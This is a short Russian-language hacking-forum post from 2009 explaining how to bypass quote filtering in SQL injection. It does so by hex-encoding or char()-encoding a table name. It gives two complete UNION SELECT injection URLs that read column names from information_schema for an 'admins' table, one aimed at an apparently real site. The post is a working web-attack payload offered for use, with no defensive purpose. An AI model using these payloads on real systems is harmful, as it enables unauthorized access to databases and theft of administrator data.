19.02.2009, 11:40
|
|
Участник форума
Регистрация: 14.01.2009
Сообщений: 257
С нами:
9116712
Репутация:
688
|
|
Сообщение от R1dex
Подробнее:
Если хотим посмотреть колонки в таблице, но кавычки фильтруются, то таблицу кодируют.
Кодируем в hex.
Код:
http://so-znanie.com/index.php?id=-2+union+select+1,2,column_name+FROM+INFORMATION_SCHEMA.columns+where+table_name=0x61646d696e73+limit+0,1--
Где, 0x61646d696e73 - таблица admins.
Закодировать можно например на этом сайте - http://x3k.ru (SQL Hex)
При переводе в hex - кавычки не использовать. можно еще через чар, получится так:
Код:
http://site.com/index.php?id=-2+union+select+1,2,column_name+from+information_schema.columns+profiling+where+table_name+LIKE+char(97,100,109,105,110,115)+limit+0,1--
где char(97,100,109,105,110,115) = admins
Последний раз редактировалось f1ng3r; 19.02.2009 в 11:50..
|
|
|